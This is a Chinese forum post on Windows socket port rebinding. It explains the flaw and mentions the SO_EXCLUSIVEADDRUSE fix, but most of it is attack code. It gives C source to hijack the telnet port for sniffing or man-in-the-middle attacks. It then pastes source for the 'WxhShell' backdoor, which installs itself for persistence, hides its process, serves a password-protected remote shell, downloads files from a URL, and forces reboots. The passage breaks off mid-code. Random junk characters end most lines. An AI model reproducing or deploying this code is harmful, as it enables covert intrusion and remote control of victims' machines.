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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^Wm*-4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bfhz?,b  
T!(sZf  
  saddr.sin_family = AF_INET; 7x(v?  
.D!WO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w]}f6VlEl  
dkpQ ZXi9%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6(>WGR  
FJ}gUs{m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -qfnUh  
lM$t!2pRB  
  这意味着什么?意味着可以进行如下的攻击: L$kgK# T  
]hL:33  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a}dw9wU!:  
js -2"I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [<Q4U{F  
?;_O 9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B>,A(X&  
e+{BJN vz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lA]N04 d  
W6i3Psjsw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qW3x{L$c  
m2Q$+p@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i\  "{#  
EWO /u.z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @%:E  }  
h"r!q[MN o  
  #include @+E7w6>%  
  #include 6^ab@GrN\  
  #include I3PQdAs~&h  
  #include    *x!LKIpv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &Q~)]|t  
  int main() cf\&No?-p  
  { G1/Gq.<  
  WORD wVersionRequested; _Z$?^gn  
  DWORD ret; m@[3~ 6A  
  WSADATA wsaData; 6<PW./rk:  
  BOOL val; f7 wm w2  
  SOCKADDR_IN saddr; 14-]esSa  
  SOCKADDR_IN scaddr; dWUUxKC  
  int err; TA|s@T{  
  SOCKET s; >8(jW  
  SOCKET sc; 'B,KFA<  
  int caddsize; 03Ukw/D&  
  HANDLE mt; h\FwgkJP  
  DWORD tid;   H#`8Ey  
  wVersionRequested = MAKEWORD( 2, 2 ); #N$9u"8C  
  err = WSAStartup( wVersionRequested, &wsaData ); \C7q4p?8  
  if ( err != 0 ) { C bQ4Y  
  printf("error!WSAStartup failed!\n"); pZjpc#*9N  
  return -1; =9<$eLE0  
  } 7DZTQUb"  
  saddr.sin_family = AF_INET; Z vRxi&Z{?  
   ntZ~m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "[.ne)/MC  
F 3s?&T)[G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Mt=R*M}D0  
  saddr.sin_port = htons(23); {[tZ.1.w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c$A@T~$  
  { -"tY{}z  
  printf("error!socket failed!\n"); ol}`Wwy  
  return -1; ]=Pu\eE  
  } cWM:  
  val = TRUE; @k9Pz<ub  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7f r>ZY^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sc{Tq\t;%  
  { (0}j]p'w  
  printf("error!setsockopt failed!\n"); XL~>rw<  
  return -1; |T y=7d,  
  } h1-Gp3#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p#=;)1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ai9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s [T{c.F  
87}(AO)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (l_:XG)7~b  
  { x,uBJ  
  ret=GetLastError(); rs_h}+6"s  
  printf("error!bind failed!\n"); Pk:zfC?4  
  return -1; 1$(  
  } $+jy/:]D  
  listen(s,2); |6*Va%LYO-  
  while(1) {=iyK/Uf  
  { O2lIlCL  
  caddsize = sizeof(scaddr); ju.OW`GM  
  //接受连接请求 p6Gcts?,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vpV$$=Qwp  
  if(sc!=INVALID_SOCKET) Qsji0ikG  
  { 5*1#jiq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 61>f(?s  
  if(mt==NULL) %qi%$  
  { '$6PTa  
  printf("Thread Creat Failed!\n"); &mdB\Y?^  
  break; s~Gw  
  } (Vap7.6;_  
  } Z'ao[CG  
  CloseHandle(mt); 7_%2xewV|  
  } .)t (:)*b  
  closesocket(s); {2 EMz|&8  
  WSACleanup(); 'kQ~  
  return 0; n.ct]+L  
  }   CW;m  
  DWORD WINAPI ClientThread(LPVOID lpParam) sUV>@UMnu  
  { ,5w]\z  
  SOCKET ss = (SOCKET)lpParam; *m&%vj.Kc  
  SOCKET sc; v#F-<?Vv  
  unsigned char buf[4096]; 3a^)u-9,x  
  SOCKADDR_IN saddr; [S)G$JW  
  long num; }<&d]N  
  DWORD val; Khap9a_q-  
  DWORD ret; O]bKNA.5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f:XfAH3R{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5zVQ;;9  
  saddr.sin_family = AF_INET; fp tIc#4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @() {/cF  
  saddr.sin_port = htons(23); KC]tY9 FK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H0+:XF\M  
  { 2qXo{C3  
  printf("error!socket failed!\n"); k}s+ca!B  
  return -1; ;AJ< LC  
  } `@MPkC y1  
  val = 100; T5q-" W6\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8,y{q9O  
  { m_$JWv\|\  
  ret = GetLastError(); W #47Cz  
  return -1; y+RRg[6|  
  } :P,2K5]y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3(o7co-f  
  { f B7ljg  
  ret = GetLastError(); Q.1XP  
  return -1; E|{m"RUOy  
  } 5QOZ%9E&M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]!J<,f7W  
  { ki3 HcV  
  printf("error!socket connect failed!\n"); #// %&k  
  closesocket(sc); Z'e\_C  
  closesocket(ss); 5;(0 $4I  
  return -1; #4N >d~  
  } p {?}g'  
  while(1) (V)9s\Le_  
  { s6/cL|Ex  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2m_H*1 HJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0mVuD\#=!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /`}6rXnw9  
  num = recv(ss,buf,4096,0); mYzcVhV  
  if(num>0) o6|"J%9GX  
  send(sc,buf,num,0); zsQF,7/}B  
  else if(num==0) qh H+m  
  break; )tvc/)&A}  
  num = recv(sc,buf,4096,0); _0m}z%rI  
  if(num>0) 5Xj|:qz<(  
  send(ss,buf,num,0); !?6.!2  
  else if(num==0) Vf$1Sjw  
  break; oc:x&`j  
  } $ hoYkA  
  closesocket(ss); ET3 ,9+Gj  
  closesocket(sc); =EWD |<  
  return 0 ; 0R*}QXph  
  } NN11}E6  
:v#8O~  
ey*,StT5a  
========================================================== 77tZp @>hn  
;M-,HK4=  
下边附上一个代码,,WXhSHELL ]| z")gOE  
61kO1,Uz*  
========================================================== y}Cj#I+a  
4rm87/u*0  
#include "stdafx.h" )%BT*)x  
$82zyq  
#include <stdio.h> >j- b5g"g  
#include <string.h> s<,"Hsh^CR  
#include <windows.h> QU,?}w'?d  
#include <winsock2.h> N" ;^S  
#include <winsvc.h> g4Bg6<;  
#include <urlmon.h> K)Ge  
GajI\_o  
#pragma comment (lib, "Ws2_32.lib") h~:H?pj3g  
#pragma comment (lib, "urlmon.lib") [&Lxz~W][  
9T/<x-FD  
#define MAX_USER   100 // 最大客户端连接数 sI$:V7/!  
#define BUF_SOCK   200 // sock buffer bje' Oolc  
#define KEY_BUFF   255 // 输入 buffer %![4d;Z%x  
\wTW?>o Z  
#define REBOOT     0   // 重启 4 #G3ew  
#define SHUTDOWN   1   // 关机 [XxA.S)x3  
*50ZinfoG  
#define DEF_PORT   5000 // 监听端口 q4 $sc_0i  
NXi ,5  
#define REG_LEN     16   // 注册表键长度 . rRc  
#define SVC_LEN     80   // NT服务名长度 H&9wSG`  
m8p4U-*j  
// 从dll定义API Sw[=S '(l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P^ by'b+zI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J09ZK8 hK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I ;l`VtD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7;~ 2e  
~;` fC|)  
// wxhshell配置信息 f&f[La  
struct WSCFG { =w t-YM  
  int ws_port;         // 监听端口 JLt{f=`%F  
  char ws_passstr[REG_LEN]; // 口令 xR _DY'z  
  int ws_autoins;       // 安装标记, 1=yes 0=no RR8U Cv  
  char ws_regname[REG_LEN]; // 注册表键名 X9SJ~n  
  char ws_svcname[REG_LEN]; // 服务名 aL{EkiR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5t TLMZ`o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y*"<@?n8?x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D=<t;+|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qgh]@JJh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dnk1Mu<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {XyG1  
dr}O+7_7%-  
}; ud 5x$`  
m79m{!q$-  
// default Wxhshell configuration S|tA[klh  
struct WSCFG wscfg={DEF_PORT, ^j1Gmv)  
    "xuhuanlingzhe", )_WH#-}  
    1, sY&r bJ(P  
    "Wxhshell", *pmoLiuB>  
    "Wxhshell", 9.^-us1  
            "WxhShell Service", ]rKH|i  
    "Wrsky Windows CmdShell Service", zp}yiE!bl  
    "Please Input Your Password: ", 4{c`g$j>  
  1, M,I68  
  "http://www.wrsky.com/wxhshell.exe", l[:^TfB  
  "Wxhshell.exe" jD$;q7fB  
    }; 1i ?gvzrq  
 j@s=ER  
// 消息定义模块 &IxxDvP3k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "bL P3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~y( ,EO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @fUX)zm>  
char *msg_ws_ext="\n\rExit."; 9*"[pt+tA  
char *msg_ws_end="\n\rQuit."; W5 M ]  
char *msg_ws_boot="\n\rReboot..."; QJb7U5:B+  
char *msg_ws_poff="\n\rShutdown..."; @w+WLeJ$40  
char *msg_ws_down="\n\rSave to "; Z{Lmd`<w`j  
/2=_B4E2  
char *msg_ws_err="\n\rErr!"; f'8B[&@L  
char *msg_ws_ok="\n\rOK!"; i+kFL$N  
\ >&@lA  
char ExeFile[MAX_PATH]; V7qCbd^>XJ  
int nUser = 0; q=(M!9cE  
HANDLE handles[MAX_USER]; t"jIfU>'a/  
int OsIsNt; o%y+Y;|?J  
bL6L-S  
SERVICE_STATUS       serviceStatus; |E>v~qD8I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e-YGuWGN7  
P TfN+  
// 函数声明 ";%e~ =  
int Install(void); eG a#$x?.  
int Uninstall(void); hlY S=cgY=  
int DownloadFile(char *sURL, SOCKET wsh); Ih9ORp7  
int Boot(int flag); ~7FEY0/  
void HideProc(void); P*?d6v,r  
int GetOsVer(void); /TR"\xQF  
int Wxhshell(SOCKET wsl); qJe&jLZa  
void TalkWithClient(void *cs); g^Ugl=f,  
int CmdShell(SOCKET sock); /S-/SF:>g  
int StartFromService(void); n#/U@qVgc  
int StartWxhshell(LPSTR lpCmdLine); v]UU&Jq8U  
3Y.d&Nz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 LZL!^ 5N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D~[ N_  
w yuJSB  
// 数据结构和表定义 <ls i.x\y<  
SERVICE_TABLE_ENTRY DispatchTable[] = rF <iWM=  
{ 6z%&A]6k:  
{wscfg.ws_svcname, NTServiceMain}, 3}.mp}K 5  
{NULL, NULL} 0`aHwt/F  
}; IeqWR4Y  
3M`hn4)K  
// 自我安装 uaZ"x& oZ#  
int Install(void) *)}Ap4[  
{ =N[V{2}q  
  char svExeFile[MAX_PATH];  (9'G  
  HKEY key; k}+MvGq  
  strcpy(svExeFile,ExeFile); HZ[68T[8b  
&Nj:XX;X  
// 如果是win9x系统,修改注册表设为自启动 Gx~"iM  
if(!OsIsNt) { Cv?<}q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +qu@dU0\`|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Huug_E+  
  RegCloseKey(key); `SSP53R(0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O4'kS @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?[*@T2Ck  
  RegCloseKey(key); m,kv EQ3  
  return 0; 8xeun~e"vS  
    } ^HOwN<}`#  
  } sk%:Sp  
} !$ J)  
else { ePu2t3E  
Y;%R/OyWY  
// 如果是NT以上系统,安装为系统服务 O#uaGziFf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eX]9m Q]E  
if (schSCManager!=0) hCOy\[2$  
{  5Fl  
  SC_HANDLE schService = CreateService ZQJw2LAgO  
  ( !pF KC)  
  schSCManager, [W8iM7D  
  wscfg.ws_svcname, |n-a\  
  wscfg.ws_svcdisp, Rzn0-cG  
  SERVICE_ALL_ACCESS, 8gu7f;H/k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |tolgdj  
  SERVICE_AUTO_START, M7cI$=G  
  SERVICE_ERROR_NORMAL, J T0,Z  
  svExeFile, !@]h@MC$7  
  NULL, K_w0+oY a  
  NULL, h\: tUEg#J  
  NULL, /hA}9+/  
  NULL, rwV u?W  
  NULL 6{F S /+  
  ); w$<fSe7  
  if (schService!=0) ?6.KS  
  { h>`'\qy  
  CloseServiceHandle(schService); ~n]2)>6  
  CloseServiceHandle(schSCManager); aS1P]&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >x_:=%Wr+  
  strcat(svExeFile,wscfg.ws_svcname);  +lf@O&w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2=UTH% 1D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tr67ofld|  
  RegCloseKey(key); j)lM:vXR  
  return 0; MlcoOi!  
    } @Tm0T7C  
  } EssUyF-jwU  
  CloseServiceHandle(schSCManager); -$!Pf$l@  
} v'2OHb#  
} \Vhp B   
ah&plaVzC  
return 1; "351s3ff  
} #VMBn}   
kdueQ(\  
// 自我卸载 s"^YW+HMb  
int Uninstall(void) qT-nD}  
{ 3 v,ae7$U&  
  HKEY key; F" #3s=  
ju2X*  
if(!OsIsNt) { :O @,Z_"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X:} 5L> '  
  RegDeleteValue(key,wscfg.ws_regname); *MyS7<  
  RegCloseKey(key); vng8{Mx90*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >=q!!'$:  
  RegDeleteValue(key,wscfg.ws_regname); ]qP}\+:  
  RegCloseKey(key); ?RjKP3P  
  return 0; %~v76;H<  
  } u3?Pp[tM<  
} Wn9Mr2r!*,  
} !?>p]0*<  
else { fN? Lz%z3  
v.8S V]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .qU%SmQ^  
if (schSCManager!=0) Pt)}HF|u  
{ 6;=wuoJi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #}]il0d  
  if (schService!=0) 3E2.v5*  
  { %?{2uMfq-f  
  if(DeleteService(schService)!=0) { 2*",{m  
  CloseServiceHandle(schService); sB1tce  
  CloseServiceHandle(schSCManager); PFn[[~5V  
  return 0; 6s"bstc{  
  } *]UEF_  
  CloseServiceHandle(schService); JMe[ .S x  
  } fm2Mi~}0  
  CloseServiceHandle(schSCManager); :aFpz6<  
} t;~`Lm@hY  
} kGTc~p(  
 Vgb>3]SU  
return 1; 9,a,A6xry  
} 3b/vyZF  
DDCQAf  
// 从指定url下载文件 vYm& AD  
int DownloadFile(char *sURL, SOCKET wsh) LkbvA  
{ 2 n+XML  
  HRESULT hr; L" ^366M!  
char seps[]= "/"; YV!V9   
char *token; 1R~WY'Ed  
char *file; 25@j2K(  
char myURL[MAX_PATH]; L}S4Zz18  
char myFILE[MAX_PATH]; ?kxWj(D  
Xq)%w#l5?  
strcpy(myURL,sURL); '!L1z45  
  token=strtok(myURL,seps); ob5nk ^y  
  while(token!=NULL) I!0 +RP(  
  { Y,Zv0-"  
    file=token; :H8L(BsI  
  token=strtok(NULL,seps); g[+Q~/yq  
  } ZJ}LnPr  
.Qw@H#dtW  
GetCurrentDirectory(MAX_PATH,myFILE); D\&y(=fzf  
strcat(myFILE, "\\"); N'BctKL  
strcat(myFILE, file); T-8nUo}i  
  send(wsh,myFILE,strlen(myFILE),0); Y/I6.K3  
send(wsh,"...",3,0); aZCT|M1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M[N.H9  
  if(hr==S_OK) z7pXpy \  
return 0; Z!l!3(<G.f  
else 2}C>{*}yQ  
return 1; =sVt8FWGY  
Ck a]F2,  
} c89vx 9  
*xVAm7_v  
// 系统电源模块 |(ju!&  
int Boot(int flag) "LaX_0t)  
{ H 1X]tw.  
  HANDLE hToken; /<pQ!'/G  
  TOKEN_PRIVILEGES tkp; 9F1stT0G%  
|VEAzY|[#  
  if(OsIsNt) { 2/q=l?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]<z(Rmn`Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ffd 3QQ  
    tkp.PrivilegeCount = 1; 4'b]2Mn3   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v!9Imf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "fJ|DE&@<i  
if(flag==REBOOT) { &+iW:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D)Rf  
  return 0; To? bp4  
} a-2 {x2O  
else { zW`koRH@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U+M?<4J) "  
  return 0; eyjUNHeh#  
} :Aiu!}\  
  } p+D 6Z'B  
  else { t? J a q  
if(flag==REBOOT) { %Z0S"B 3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "(VcYQ+  
  return 0; =}lA|S  
} ;7*@Gf}R  
else { 7f,W zvV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [mvHa;-w  
  return 0; 3+uoK f[  
} XB 7^Ka  
} uL AXN  
,WK$jHG]  
return 1; jn Y3G  
} ]}y'3aW  
nQ3goVRFP  
// win9x进程隐藏模块 WN1-J(x6  
void HideProc(void) ,X6j$YLWp  
{ 6+#cyKj  
B;_3IHMO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $zi\ /Yw  
  if ( hKernel != NULL ) #;]F:TlR  
  { 0 d]G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^ w1R"qE"m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a/#,Y<kJ  
    FreeLibrary(hKernel); UH|.@7w  
  } [i#Gqx>'w  
}"k(kH  
return; l);8y5  
} M oHvXp;X  
') y~d  
// 获取操作系统版本 |%;txD  
int GetOsVer(void) X;>} ;LiK  
{ X6 cb#s0|  
  OSVERSIONINFO winfo; $O!<Zz   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qEz'l'%(  
  GetVersionEx(&winfo); VbR.tz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0+i,,^x.  
  return 1; 1 to<at-NN  
  else ibw;BU  
  return 0; Jz'+@q6h  
} @'4D9A  
r!iuwE@  
// 客户端句柄模块 [nD4\x+  
int Wxhshell(SOCKET wsl) XePBA J  
{ 9%6`ZS~3  
  SOCKET wsh; X  jN.X  
  struct sockaddr_in client; $c47cJO)W  
  DWORD myID; ir#^5e @  
vn0*KIrX  
  while(nUser<MAX_USER) 1X.1t^HH:  
{ e[!>ezaIY  
  int nSize=sizeof(client); RVnYe='  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o#6}?g.  
  if(wsh==INVALID_SOCKET) return 1; Gzt5efygKt  
oFp&j@`k8j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sAlgp2-  
if(handles[nUser]==0) ztpb/9J9  
  closesocket(wsh); [L^#<@S  
else k({8C`&tK/  
  nUser++; &r%3)Z8Et  
  } P s;:g0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TKX#/  
;Vt u8f  
  return 0; q(W@=-uDK  
} +Z*%,m=N(  
$)V4Eu;  
// 关闭 socket q4= RE  
void CloseIt(SOCKET wsh) hNy S  
{ ?2;G_P+  
closesocket(wsh); )I4tl/  
nUser--; $n"Llw&)  
ExitThread(0); L+L9)8FJ  
} V  ""  
)`^:G3w  
// 客户端请求句柄 Y~xZ{am  
void TalkWithClient(void *cs) 2Oa-c|F  
{ Qrh9JFqdG6  
|?kH]Trr  
  SOCKET wsh=(SOCKET)cs; ,YTIYG](  
  char pwd[SVC_LEN]; p2K9R4  
  char cmd[KEY_BUFF]; 3>6o=7/PU  
char chr[1]; 'CX KphlWs  
int i,j; b.;W|$.  
V^i3:'  
  while (nUser < MAX_USER) { T\>=o]  
./'n2$^3  
if(wscfg.ws_passstr) { !TF VBK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IpxjP\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kZNZ?A<D  
  //ZeroMemory(pwd,KEY_BUFF); :83" t-O8[  
      i=0; r "R\  
  while(i<SVC_LEN) { E.9F~&DPJ<  
8^lXM-G-  
  // 设置超时 x3 S  
  fd_set FdRead; i}19$x.D`  
  struct timeval TimeOut; 8Yh2K}  
  FD_ZERO(&FdRead); f/ZE_MN2  
  FD_SET(wsh,&FdRead); JSU\Hh!  
  TimeOut.tv_sec=8; Y$^\D' .k  
  TimeOut.tv_usec=0; 9D,& )6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Up&q#vqIj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TfPx   
MR}\fw$(.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;l'I. j  
  pwd=chr[0]; YaU A}0cW  
  if(chr[0]==0xd || chr[0]==0xa) { XvdhPOMy  
  pwd=0; F@BNSs N=  
  break; -)@.D>HsOt  
  } p98lu'?@  
  i++; @j6D#./7j  
    } ~a$% a  
xph60T  
  // 如果是非法用户,关闭 socket )zN )7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,l6W|p?ZO^  
} KB5{l%>  
r!S iR(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o2~x'*A0I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w9%gaK;  
WxFjpJt  
while(1) { Z=|@76  
~#@EjQCq  
  ZeroMemory(cmd,KEY_BUFF); 5IMH G%W7  
ZeO>Ag^  
      // 自动支持客户端 telnet标准   NmQ]qv  
  j=0; 4jpF^&y7u^  
  while(j<KEY_BUFF) {  J{y@ O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T*IudxW  
  cmd[j]=chr[0]; G\Me%{b#  
  if(chr[0]==0xa || chr[0]==0xd) { S%@$J~\rx  
  cmd[j]=0; JI&>w-~D  
  break; ezn>3?S  
  } Fv9Z'#t  
  j++; 9\8""-  
    } RA6D dqT~  
C\{4<:<_&  
  // 下载文件 r!#3>F;B  
  if(strstr(cmd,"http://")) { H2]I__t/u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZZTV >:  
  if(DownloadFile(cmd,wsh)) Lh}he:k+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ew(6;}+^/  
  else F!xK#~e   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sR6 (8  
  } aqB^  %e  
  else { 6]Jv3Re'(I  
"#7i-?=  
    switch(cmd[0]) { O v-I2  
  4g 1h:I/  
  // 帮助 $3L7R  
  case '?': { 3X:F9x>y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7,1idY%cy  
    break; JI^w1I, T  
  } 4Qd g t*  
  // 安装 3 yElN.=  
  case 'i': { zE[c$KPP  
    if(Install()) N(9'U0z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-3l6q  
    else rnr7t \a~]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [D t`@Dm  
    break; ct  ZW7  
    } 7-5q\[ZK  
  // 卸载 qb_V ,b9  
  case 'r': { d>%_<pw  
    if(Uninstall()) vl#/8]0!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )L{\k$r!EM  
    else C?O{l%0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E8xXr>j>#  
    break; 7@sWT<P  
    } <ESAoY"RPN  
  // 显示 wxhshell 所在路径 qSQjAo4t@  
  case 'p': { .JiQq]  
    char svExeFile[MAX_PATH]; O/k4W#  
    strcpy(svExeFile,"\n\r"); ! >:O3*/  
      strcat(svExeFile,ExeFile); ~_raI7,  
        send(wsh,svExeFile,strlen(svExeFile),0); /eI38>v  
    break; eN$~@'w  
    } WFkXz*7B  
  // 重启 =y':VIVJC  
  case 'b': { 68y.yX[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eE&F1|8  
    if(Boot(REBOOT)) D,hl+P{^K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(0iSS  
    else { T>c;q%A/  
    closesocket(wsh); sLTf).xh  
    ExitThread(0); WDZEnauE  
    } .Ybm27Dk  
    break; )S%mKdOm $  
    } t`LH\]6@  
  // 关机 u7/M>YJ`T  
  case 'd': { '.iUv#j4Sh  
